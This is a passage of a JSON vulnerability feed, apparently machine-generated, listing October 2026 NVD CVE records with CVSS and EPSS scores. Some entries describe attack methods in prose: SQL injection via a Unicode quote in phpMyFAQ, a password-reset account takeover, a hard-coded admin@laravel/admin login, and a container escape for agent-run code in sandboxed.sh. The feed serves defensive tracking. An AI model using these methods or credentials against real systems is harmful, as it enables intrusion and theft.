score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87689&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87689, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109573","cveId":"CVE-2026-109573","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB...","summary":"phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB runs in NO_BACKSLASH_ESCAPES mode. Unauthenticated attackers can send a Unicode right single quotation mark in the search parameter of api/autocomplete, which is normalized to an ASCII quote, to read credentials and configuration secrets, modify records, or drop tables.","detail":"phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB runs in NO_BACKSLASH_ESCAPES mode. Unauthenticated attackers can send a Unicode right single quotation mark in the search parameter of api/autocomplete, which is normalized to an ASCII quote, to read credentials and configuration secrets, modify records, or drop tables.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:22.557Z","updatedAt":"2026-10-13T14:17:27.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109573","asOf":"2026-10-13T14:17:27.180Z"},"epss":{"probability":0.00338,"percentile":0.26965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109573&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109573","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109573","type":"primary","publishedAt":"2026-10-12T23:17:22.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109573&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109573, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90920","cveId":"CVE-2026-90920","aliases":[],"kind":"vulnerability","title":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation.","summary":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation.","detail":"IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:05.683Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90920","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00544,"percentile":0.45371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90920","type":"primary","publishedAt":"2026-10-12T22:17:05.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44828","cveId":"CVE-2026-44828","aliases":[],"kind":"vulnerability","title":"Qexo is an open source online editor for static blogs.","summary":"Qexo is an open source online editor for static blogs. From 4.0.0 until 4.2.0, Qexo exposes /api/init_step/ through init_step_api without authentication, authorization, or a setup-completion guard. An unauthenticated requester with a valid CSRF token obtained from a public page can submit the first initialization step and reset the INIT setting, causing the instance to re-enter the setup flow. The setup response and /init/ page can expose stored PROVIDER configuration, including service credentials, in frontend content. This issue is fixed in version 4.2.0.","detail":"Qexo is an open source online editor for static blogs. From 4.0.0 until 4.2.0, Qexo exposes /api/init_step/ through init_step_api without authentication, authorization, or a setup-completion guard. An unauthenticated requester with a valid CSRF token obtained from a public page can submit the first initialization step and reset the INIT setting, causing the instance to re-enter the setup flow. The setup response and /init/ page can expose stored PROVIDER configuration, including service credentials, in frontend content. This issue is fixed in version 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T22:17:04.160Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44828","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00355,"percentile":0.28898,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-44828&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44828","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44828","type":"primary","publishedAt":"2026-10-12T22:17:04.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44828&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-44828, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92120","cveId":"CVE-2026-92120","aliases":[],"kind":"vulnerability","title":"OAuth1 Request Replay Attack vulnerability in Apache Allura.","summary":"OAuth1 Request Replay Attack vulnerability in Apache Allura.\n\n\n\nThis issue affects Apache Allura: through 1.21.0.\n\n\n\nUsers are recommended to upgrade to version 1.22.0 which fixes the issue.","detail":"OAuth1 Request Replay Attack vulnerability in Apache Allura.\n\n\n\nThis issue affects Apache Allura: through 1.21.0.\n\n\n\nUsers are recommended to upgrade to version 1.22.0 which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:23.490Z","updatedAt":"2026-10-16T18:19:43.650Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92120","asOf":"2026-10-16T18:19:43.650Z"},"epss":{"probability":0.00274,"percentile":0.1959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92120","type":"primary","publishedAt":"2026-10-12T21:17:23.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92119","cveId":"CVE-2026-92119","aliases":[],"kind":"vulnerability","title":"REST API Mass Assignment vulnerability in Apache Allura.","summary":"REST API Mass Assignment vulnerability in Apache Allura.\n\n\n\nThis issue affects Apache Allura: through 1.21.0.\n\n\n\nUsers are recommended to upgrade to version 1.22.0, which fixes the issue.","detail":"REST API Mass Assignment vulnerability in Apache Allura.\n\n\n\nThis issue affects Apache Allura: through 1.21.0.\n\n\n\nUsers are recommended to upgrade to version 1.22.0, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:23.363Z","updatedAt":"2026-10-16T18:19:43.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92119","asOf":"2026-10-16T18:19:43.470Z"},"epss":{"probability":0.00302,"percentile":0.22678,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92119","type":"primary","publishedAt":"2026-10-12T21:17:23.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92116","cveId":"CVE-2026-92116","aliases":[],"kind":"vulnerability","title":"OAuth1 callback validation vulnerability in Apache Allura.","summary":"OAuth1 callback validation vulnerability in Apache Allura.\n\n\n\nThis issue affects Apache Allura: through 1.21.0.\n\n\n\nUsers are recommended to upgrade to version 1.22.0, which fixes the issue.","detail":"OAuth1 callback validation vulnerability in Apache Allura.\n\n\n\nThis issue affects Apache Allura: through 1.21.0.\n\n\n\nUsers are recommended to upgrade to version 1.22.0, which fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:23.240Z","updatedAt":"2026-10-16T18:19:43.327Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92116","asOf":"2026-10-16T18:19:43.327Z"},"epss":{"probability":0.00265,"percentile":0.1821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92116","type":"primary","publishedAt":"2026-10-12T21:17:23.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53997","cveId":"CVE-2026-53997","aliases":[],"kind":"vulnerability","title":"Netherman Portal del Hermano (portaldelhermano.es) before 2026-10-06 contains a broken authentication vulnerability in its password-recovery flow at the POST...","summary":"Netherman Portal del Hermano (portaldelhermano.es) before 2026-10-06 contains a broken authentication vulnerability in its password-recovery flow at the POST /password/create-access and POST /password/email endpoints, allowing unauthenticated attackers to take over any member account across all tenants by exploiting the lack of rate limiting and distinct error messages that act as oracles for each of the four identity-verification factors (DNI, date of birth, phone number, last four IBAN digits). Attackers can confirm the DNI via the oracle, brute-force the date of birth and IBAN digits, obtain the phone number through open-source intelligence, then submit an attacker-controlled email field so the password reset link is delivered to them, enabling full account takeover including profile data, full IBAN, and fiscal documents.","detail":"Netherman Portal del Hermano (portaldelhermano.es) before 2026-10-06 contains a broken authentication vulnerability in its password-recovery flow at the POST /password/create-access and POST /password/email endpoints, allowing unauthenticated attackers to take over any member account across all tenants by exploiting the lack of rate limiting and distinct error messages that act as oracles for each of the four identity-verification factors (DNI, date of birth, phone number, last four IBAN digits). Attackers can confirm the DNI via the oracle, brute-force the date of birth and IBAN digits, obtain the phone number through open-source intelligence, then submit an attacker-controlled email field so the password reset link is delivered to them, enabling full account takeover including profile data, full IBAN, and fiscal documents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:17.400Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53997","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00396,"percentile":0.33542,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53997","type":"primary","publishedAt":"2026-10-12T21:17:17.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109569","cveId":"CVE-2026-109569","aliases":[],"kind":"vulnerability","title":"sandboxed.sh through 1.3.0 contains a container escape vulnerability that allows code in container workspaces to access the host filesystem because nsenter attaches without --root.","summary":"sandboxed.sh through 1.3.0 contains a container escape vulnerability that allows code in container workspaces to access the host filesystem because nsenter attaches without --root. Agent-run code in a container workspace can resolve absolute paths on the host to read and modify host files, bypassing documented isolation.","detail":"sandboxed.sh through 1.3.0 contains a container escape vulnerability that allows code in container workspaces to access the host filesystem because nsenter attaches without --root. Agent-run code in a container workspace can resolve absolute paths on the host to read and modify host files, bypassing documented isolation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:13.653Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109569","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00126,"percentile":0.02253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109569&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109569","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109569","type":"primary","publishedAt":"2026-10-12T21:17:13.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109569&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109569, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109566","cveId":"CVE-2026-109566","aliases":[],"kind":"vulnerability","title":"Rapyd Admin from 9.0.0 before 9.20.0 contains a hard-coded credentials vulnerability that allows remote unauthenticated attackers to gain super-admin access through an...","summary":"Rapyd Admin from 9.0.0 before 9.20.0 contains a hard-coded credentials vulnerability that allows remote unauthenticated attackers to gain super-admin access through an AuthSeeder-created admin@laravel account with password admin. The account is seeded by the setup installer and silently re-created on every rpd:make run, letting attackers log in as a global super admin bypassing per-record authorization and tenant scoping.","detail":"Rapyd Admin from 9.0.0 before 9.20.0 contains a hard-coded credentials vulnerability that allows remote unauthenticated attackers to gain super-admin access through an AuthSeeder-created admin@laravel account with password admin. The account is seeded by the setup installer and silently re-created on every rpd:make run, letting attackers log in as a global super admin bypassing per-record authorization and tenant scoping.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:13.190Z","updatedAt":"2026-10-26T17:17:13.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109566","asOf":"2026-10-26T17:17:13.520Z"},"epss":{"probability":0.00439,"percentile":0.37885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109566&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109566","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109566","type":"primary","publishedAt":"2026-10-12T21:17:13.190Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109566&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109566, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108929","cveId":"CVE-2026-108929","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Netcore NR268 1.7.121109. The affected element is the function execvp of the file /router/DDNSset.cgi of the component DDNS.","summary":"A flaw has been found in Netcore NR268 1.7.121109. The affected element is the function execvp of the file /router/DDNSset.cgi of the component DDNS. Executing a manipulation of the argument Hostname can lead to argument injection. The attack can be launched remotely.","detail":"A flaw has been found in Netcore NR268 1.7.121109. The affected element is the function execvp of the file /router/DDNSset.cgi of the component DDNS. Executing a manipulation of the argument Hostname can lead to argument injection. The attack can be launched remotely.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T21:17:09.410Z","updatedAt":"2026-10-16T18:17:29.810Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108929","asOf":"2026-10-16T18:17:29.810Z"},"epss":{"probability":0.00429,"percentile":0.36836,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108929&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108929","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108929","type":"primary","publishedAt":"2026-10-12T21:17:09.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108929&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108929, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-71429","cveId":"CVE-2025-71429","aliases":[],"kind":"vulnerability","title":"GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that allows unauthenticated attackers to execute commands via output folder...","summary":"GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in tools/uvr5/vr.py that 